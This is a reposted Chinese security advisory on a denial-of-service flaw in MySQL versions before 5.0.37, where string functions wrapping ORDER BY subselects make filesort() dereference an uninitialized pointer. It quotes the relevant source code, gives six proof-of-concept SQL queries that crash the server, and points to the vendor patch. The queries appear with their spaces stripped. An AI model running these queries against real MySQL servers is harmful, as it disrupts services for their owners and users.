MySQL数据库单行子选择远程拒绝服务漏洞_MySQL数据库_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

MySQL数据库单行子选择远程拒绝服务漏洞

作者:黑客防线网安MYSQL维护基地 来源:黑客防线网安MYSQL维护基地 浏览次数:0

本篇关键词:拒绝服务漏洞远程
黑客防线网安网讯:  受影响系统:  MySQL AB MySQL < 5.0.37   不受影响系统:  MySQL AB MySQL 5.0.37  描述:  BUGTRAQ ID: 22900  MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有...

  受影响系统:

  MySQL AB MySQL < 5.0.37

  不受影响系统:

  MySQL AB MySQL 5.0.37

  描述:

  BUGTRAQ ID: 22900

  MySQL是一款使用非常广泛的开放源代码关系数据库系统拥有各种平台的运行版本MySQL在处理特定畸形请求时存在漏洞远程攻击者可能利用此漏洞在导致MySQL进程崩溃

  如果MySQL用户在字符串函数中使用了子选择的话,就会调用Item_singlerow_subselect::val_str()。由于无需分类整理单行子选择的结果,因此不会初始化所分配结构st_table中的某些字段,具体来讲是sort->io_cache字段。但如果在查询中使用了 ORDER BY,就会对表格运行filesort(),filesort()中的错误处理例程在引用未初始化字段值出现段访问错误:

  libmysqld/filesort.cc:

  111FILESORT_INFOtable_sort;
  (...)
  117memcpy(&table_sort,&table->sort,sizeof(FILESORT_INFO));
  120outfile=table_sort.io_cache;
  (..)
  269err:
  (..)
  276if(my_b_inited(outfile))

  include/my_sys.h:

  503 #define my_b_inited(info) (info)->buffer

  这可能会触发空指针引用,导致mysqld崩溃。

  <*来源:S.Streichsbier B.Mueller 链接:http://www.sec-consult.com/284.html*>

  测试方法:

  (警告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!)

  SELECTASCII((SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
  SELECTTRIM(LEADINGFROM(SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
  SELECTSUBSTR((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,1);
  SELECTUPPER((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
  SELECTRTRIM((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
  SELECTRPAD((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,'lol');

  建议:

  厂商补丁:

  目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

  http://dev.mysql.com/downloads/mysql/5.0.html#downloads

    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show-7902-1.html
网站维护教程更新时间:2012-03-20 04:45:30  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer